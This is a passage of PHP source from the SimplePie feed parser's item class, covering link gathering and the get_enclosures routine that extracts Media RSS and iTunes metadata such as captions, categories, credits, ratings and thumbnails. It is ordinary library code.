$this->get_base($link)); } } if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); } if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); } if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); } if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'guid')) { if (!isset($links[0]['attribs']['']['isPermaLink']) || strtolower(trim($links[0]['attribs']['']['isPermaLink'])) === 'true') { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); } } $keys = array_keys($this->data['links']); foreach ($keys as $key) { if ($this->registry->call('Misc', 'is_isegment_nz_nc', array($key))) { if (isset($this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key])) { $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]); $this->data['links'][$key] =& $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]; } else { $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key]; } } elseif (substr($key, 0, 41) === SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY) { $this->data['links'][substr($key, 41)] =& $this->data['links'][$key]; } $this->data['links'][$key] = array_unique($this->data['links'][$key]); } } if (isset($this->data['links'][$rel])) { return $this->data['links'][$rel]; } return null; } /** * Get an enclosure from the item * * Supports the <enclosure> RSS tag, as well as Media RSS and iTunes RSS. * * @since Beta 2 * @todo Add ability to prefer one type of content over another (in a media group). * @param int $key The enclosure that you want to return. Remember that arrays begin with 0, not 1 * @return SimplePie_Enclosure|null */ public function get_enclosure($key = 0, $prefer = null) { $enclosures = $this->get_enclosures(); if (isset($enclosures[$key])) { return $enclosures[$key]; } return null; } /** * Get all available enclosures (podcasts, etc.) * * Supports the <enclosure> RSS tag, as well as Media RSS and iTunes RSS. * * At this point, we're pretty much assuming that all enclosures for an item * are the same content. Anything else is too complicated to * properly support. * * @since Beta 2 * @todo Add support for end-user defined sorting of enclosures by type/handler (so we can prefer the faster-loading FLV over MP4). * @todo If an element exists at a level, but its value is empty, we should fall back to the value from the parent (if it exists). * @return SimplePie_Enclosure[]|null List of SimplePie_Enclosure items */ public function get_enclosures() { if (!isset($this->data['enclosures'])) { $this->data['enclosures'] = array(); // Elements $captions_parent = null; $categories_parent = null; $copyrights_parent = null; $credits_parent = null; $description_parent = null; $duration_parent = null; $hashes_parent = null; $keywords_parent = null; $player_parent = null; $ratings_parent = null; $restrictions_parent = null; $thumbnails_parent = null; $title_parent = null; // Let's do the channel and item-level ones first, and just re-use them if we need to. $parent = $this->get_feed(); // CAPTIONS if ($captions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'text')) { foreach ($captions as $caption) { $caption_type = null; $caption_lang = null; $caption_startTime = null; $caption_endTime = null; $caption_text = null; if (isset($caption['attribs']['']['type'])) { $caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['lang'])) { $caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['start'])) { $caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['end'])) { $caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['data'])) { $caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $captions_parent[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text)); } } elseif ($captions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'text')) { foreach ($captions as $caption) { $caption_type = null; $caption_lang = null; $caption_startTime = null; $caption_endTime = null; $caption_text = null; if (isset($caption['attribs']['']['type'])) { $caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['lang'])) { $caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['start'])) { $caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['end'])) { $caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['data'])) { $caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $captions_parent[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text)); } } if (is_array($captions_parent)) { $captions_parent = array_values(array_unique($captions_parent)); } // CATEGORIES foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'category') as $category) { $term = null; $scheme = null; $label = null; if (isset($category['data'])) { $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $scheme = 'http://search.yahoo.com/mrss/category_schema'; } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories_parent[] = $this->registry->create('Category', array($term, $scheme, $label)); } foreach ((array) $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'category') as $category) { $term = null; $scheme = null; $label = null; if (isset($category['data'])) { $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $scheme = 'http://search.yahoo.com/mrss/category_schema'; } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories_parent[] = $this->registry->create('Category', array($term, $scheme, $label)); } foreach ((array) $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'category') as $category) { $term = null; $scheme = 'http://www.itunes.com/dtds/podcast-1.0.dtd'; $label = null; if (isset($category['attribs']['']['text'])) { $label = $this->sanitize($category['attribs']['']['text'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories_parent[] = $this->registry->create('Category', array($term, $scheme, $label)); if (isset($category['child'][SIMPLEPIE_NAMESPACE_ITUNES]['category'])) { foreach ((array) $category['child'][SIMPLEPIE_NAMESPACE_ITUNES]['category'] as $subcategory) { if (isset($subcategory['attribs']['']['text'])) { $label = $this->sanitize($subcategory['attribs']['']['text'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories_parent[] = $this->registry->create('Category', array($term, $scheme, $label)); } } } if (is_array($categories_parent)) { $categories_parent = array_values(array_unique($categories_parent)); } // COPYRIGHT if ($copyright = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'copyright')) { $copyright_url = null; $copyright_label = null; if (isset($copyright[0]['attribs']['']['url'])) { $copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($copyright[0]['data'])) { $copyright_label = $this->sanitize($copyright[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $copyrights_parent = $this->registry->create('Copyright', array($copyright_url, $copyright_label)); } elseif ($copyright = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'copyright')) { $copyright_url = null; $copyright_label = null; if (isset($copyright[0]['attribs']['']['url'])) { $copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($copyright[0]['data'])) { $copyright_label = $this->sanitize($copyright[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $copyrights_parent = $this->registry->create('Copyright', array($copyright_url, $copyright_label)); } // CREDITS if ($credits = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'credit')) { foreach ($credits as $credit) { $credit_role = null; $credit_scheme = null; $credit_name = null; if (isset($credit['attribs']['']['role'])) { $credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($credit['attribs']['']['scheme'])) { $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $credit_scheme = 'urn:ebu'; } if (isset($credit['data'])) { $credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $credits_parent[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name)); } } elseif ($credits = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'credit')) { foreach ($credits as $credit) { $credit_role = null; $credit_scheme = null; $credit_name = null; if (isset($credit['attribs']['']['role'])) { $credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($credit['attribs']['']['scheme'])) { $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $credit_scheme = 'urn:ebu'; } if (isset($credit['data'])) { $credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $credits_parent[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name)); } } if (is_array($credits_parent)) { $credits_parent = array_values(array_unique($credits_parent)); } // DESCRIPTION if ($description_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'description')) { if (isset($description_parent[0]['data'])) { $description_parent = $this->sanitize($description_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } } elseif ($description_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'description')) { if (isset($description_parent[0]['data'])) { $description_parent = $this->sanitize($description_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } } // DURATION if ($duration_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'duration')) { $seconds = null; $minutes = null; $hours = null; if (isset($duration_parent[0]['data'])) { $temp = explode(':', $this->sanitize($duration_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); if (sizeof($temp) > 0) { $seconds = (int) array_pop($temp); } if (sizeof($temp) > 0) { $minutes = (int) array_pop($temp); $seconds += $minutes * 60; } if (sizeof($temp) > 0) { $hours = (int) array_pop($temp); $seconds += $hours * 3600; } unset($temp); $duration_parent = $seconds; } } // HASHES if ($hashes_iterator = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'hash')) { foreach ($hashes_iterator as $hash) { $value = null; $algo = null; if (isset($hash['data'])) { $value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($hash['attribs']['']['algo'])) { $algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $algo = 'md5'; } $hashes_parent[] = $algo.':'.$value; } } elseif ($hashes_iterator = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'hash')) { foreach ($hashes_iterator as $hash) { $value = null; $algo = null; if (isset($hash['data'])) { $value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($hash['attribs']['']['algo'])) { $algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $algo = 'md5'; } $hashes_parent[] = $algo.':'.$value; } } if (is_array($hashes_parent)) { $hashes_parent = array_values(array_unique($hashes_parent)); } // KEYWORDS if ($keywords = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'keywords')) { if (isset($keywords[0]['data'])) { $temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); foreach ($temp as $word) { $keywords_parent[] = trim($word); } } unset($temp); } elseif ($keywords = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'keywords')) { if (isset($keywords[0]['data'])) { $temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); foreach ($temp as $word) { $keywords_parent[] = trim($word); } } unset($temp); } elseif ($keywords = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'keywords')) { if (isset($keywords[0]['data'])) { $temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); foreach ($temp as $word) { $keywords_parent[] = trim($word); } } unset($temp); } elseif ($keywords = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'keywords')) { if (isset($keywords[0]['data'])) { $temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); foreach ($temp as $word) { $keywords_parent[] = trim($word); } } unset($temp); } if (is_array($keywords_parent)) { $keywords_parent = array_values(array_unique($keywords_parent)); } // PLAYER if ($player_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'player')) { if (isset($player_parent[0]['attribs']['']['url'])) { $player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } } elseif ($player_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'player')) { if (isset($player_parent[0]['attribs']['']['url'])) { $player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } } // RATINGS if ($ratings = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'rating')) { foreach ($ratings as $rating) { $rating_scheme = null; $rating_value = null; if (isset($rating['attribs']['']['scheme'])) { $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $rating_scheme = 'urn:simple'; } if (isset($rating['data'])) { $rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $ratings_parent[] = $this->registry->create('Rating', array($rating_scheme, $rating_value)); } } elseif ($ratings = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'explicit')) { foreach ($ratings as $rating) { $rating_scheme = 'urn:itunes'; $rating_value = null; if (isset($rating['data'])) { $rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $ratings_parent[] = $this->registry->create('Rating', array($rating_scheme, $rating_value)); } } elseif ($ratings = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'rating')) { foreach ($ratings as $rating) { $rating_scheme = null; $rating_value = null; if (isset($rating['attribs']['']['scheme'])) { $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $rating_scheme = 'urn:simple'; } if (isset($rating['data'])) { $rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $ratings_parent[] = $this->registry->create('Rating', array($rating_scheme, $rating_value)); } } elseif ($ratings = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'explicit')) { foreach ($ratings as $rating) { $rating_scheme = 'urn:itunes'; $rating_value = null; if (isset($rating['data'])) { $rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $ratings_parent[] = $this->registry->create('Rating', array($rating_scheme, $rating_value)); } } if (is_array($ratings_parent)) { $ratings_parent = array_values(array_unique($ratings_parent)); } // RESTRICTIONS if ($restrictions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'restriction')) { foreach ($restrictions as $restriction) { $restriction_relationship = null; $restriction_type = null; $restriction_value = null; if (isset($restriction['attribs']['']['relationship'])) { $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['attribs']['']['type'])) { $restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['data'])) { $restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $restrictions_parent[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value)); } } elseif ($restrictions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'block')) { foreach ($restrictions as $restriction) { $restriction_relationship = 'allow'; $restriction_type = null; $restriction_value = 'itunes'; if (isset($restriction['data']) && strtolower($restriction['data']) === 'yes') { $restriction_relationship = 'deny'; } $restrictions_parent[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value)); } } elseif ($restrictions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'restriction')) { foreach ($restrictions as $restriction) { $restriction_relationship = null; $restriction_type = null; $restriction_value = null; if (isset($restriction['attribs']['']['relationship'])) { $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['attribs']['']['type'])) { $restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['data'])) { $restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $restrictions_parent[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value)); } } elseif ($restrictions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'block')) { foreach ($restrictions as $restriction) { $restriction_relationship = 'allow'; $restriction_type = null; $restriction_value = 'itunes'; if (isset($restriction['data']) && strtolower($restriction['data']) === 'yes') { $restriction_relationship = 'deny'; } $restrictions_parent[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value)); } } if (is_array($restrictions_parent)) { $restrictions_parent = array_values(array_unique($restrictions_parent)); } else { $restrictions_parent = array(new SimplePie_Restriction('allow', null, 'default')); } // THUMBNAILS if ($thumbnails = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'thumbnail')) { foreach ($thumbnails as $thumbnail) { if (isset($thumbnail['attribs']['']['url'])) { $thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } } } elseif ($thumbnails = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'thumbnail')) { foreach ($thumbnails as $thumbnail) { if (isset($thumbnail['attribs']['']['url'])) { $thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } } } // TITLES if ($title_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'title')) { if (isset($title_parent[0]['data'])) { $title_parent = $this->sanitize($title_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } } elseif ($title_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'title')) { if (isset($title_parent[0]['data'])) { $title_parent = $this->sanitize($title_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } } // Clear the memory unset($parent); // Attributes $bitrate = null; $channels = null; $duration = null; $expression = null; $framerate = null; $height = null; $javascript = null; $lang = null; $length = null; $medium = null; $samplingrate = null; $type = null; $url = null; $width = null; // Elements $captions = null; $categories = null; $copyrights = null; $credits = null; $description = null; $hashes = null; $keywords = null; $player = null; $ratings = null; $restrictions = null; $thumbnails = null; $title = null; // If we have media:group tags, loop through them. foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'group') as $group) { if(isset($group['child']) && isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'])) { // If we have media:content tags, loop through them. foreach ((array) $group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'] as $content) { if (isset($content['attribs']['']['url'])) { // Attributes $bitrate = null; $channels = null; $duration = null; $expression = null; $framerate = null; $height = null; $javascript = null; $lang = null; $length = null; $medium = null; $samplingrate = null; $type = null; $url = null; $width = null; // Elements $captions = null; $categories = null; $copyrights = null; $credits = null; $description = null; $hashes = null; $keywords = null; $player = null; $ratings = null; $restrictions = null; $thumbnails = null; $title = null; // Start checking the attributes of media:content if (isset($content['attribs']['']['bitrate'])) { $bitrate = $this->sanitize($content['attribs']['']['bitrate'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['channels'])) { $channels = $this->sanitize($content['attribs']['']['channels'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['duration'])) { $duration = $this->sanitize($content['attribs']['']['duration'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $duration = $duration_parent; } if (isset($content['attribs']['']['expression'])) { $expression = $this->sanitize($content['attribs']['']['expression'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['framerate'])) { $framerate = $this->sanitize($content['attribs']['']['framerate'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['height'])) { $height = $this->sanitize($content['attribs']['']['height'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['lang'])) { $lang = $this->sanitize($content['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['fileSize'])) { $length = ceil($content['attribs']['']['fileSize']); } if (isset($content['attribs']['']['medium'])) { $medium = $this->sanitize($content['attribs']['']['medium'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['samplingrate'])) { $samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['type'])) { $type = $this->sanitize($content['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['width'])) { $width = $this->sanitize($content['attribs']['']['width'], SIMPLEPIE_CONSTRUCT_TEXT); } $url = $this->sanitize($content['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); // Checking the other optional media: elements. Priority: media:content, media:group, item, channel // CAPTIONS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption) { $caption_type = null; $caption_lang = null; $caption_startTime = null; $caption_endTime = null; $caption_text = null; if (isset($caption['attribs']['']['type'])) { $caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['lang'])) { $caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['start'])) { $caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['end'])) { $caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['data'])) { $caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $captions[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text)); } if (is_array($captions)) { $captions = array_values(array_unique($captions)); } } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'])) { foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption) { $caption_type = null; $caption_lang = null; $caption_startTime = null; $caption_endTime = null; $caption_text = null; if (isset($caption['attribs']['']['type'])) { $caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['lang'])) { $caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['start'])) { $caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['end'])) { $caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['data'])) { $caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $captions[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text)); } if (is_array($captions)) { $captions = array_values(array_unique($captions)); } } else { $captions = $captions_parent; } // CATEGORIES if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'])) { foreach ((array) $content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category) { $term = null; $scheme = null; $label = null; if (isset($category['data'])) { $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $scheme = 'http://search.yahoo.com/mrss/category_schema'; } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories[] = $this->registry->create('Category', array($term, $scheme, $label)); } } if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'])) { foreach ((array) $group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category) { $term = null; $scheme = null; $label = null; if (isset($category['data'])) { $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $scheme = 'http://search.yahoo.com/mrss/category_schema'; } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories[] = $this->registry->create('Category', array($term, $scheme, $label)); } } if (is_array($categories) && is_array($categories_parent)) { $categories = array_values(array_unique(array_merge($categories, $categories_parent))); } elseif (is_array($categories)) { $categories = array_values(array_unique($categories)); } elseif (is_array($categories_parent)) { $categories = array_values(array_unique($categories_parent)); } // COPYRIGHTS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'])) { $copyright_url = null; $copyright_label = null; if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) { $copyright_url = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'])) { $copyright_label = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $copyrights = $this->registry->create('Copyright', array($copyright_url, $copyright_label)); } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'])) { $copyright_url = null; $copyright_label = null; if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) { $copyright_url = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'])) { $copyright_label = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $copyrights = $this->registry->create('Copyright', array($copyright_url, $copyright_label)); } else { $copyrights = $copyrights_parent; } // CREDITS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit) { $credit_role = null; $credit_scheme = null; $credit_name = null; if (isset($credit['attribs']['']['role'])) { $credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($credit['attribs']['']['scheme'])) { $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $credit_scheme = 'urn:ebu'; } if (isset($credit['data'])) { $credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $credits[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name)); } if (is_array($credits)) { $credits = array_values(array_unique($credits)); } } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'])) { foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit) { $credit_role = null; $credit_scheme = null; $credit_name = null; if (isset($credit['attribs']['']['role'])) { $credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($credit['attribs']['']['scheme'])) { $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $credit_scheme = 'urn:ebu'; } if (isset($credit['data'])) { $credit_name = 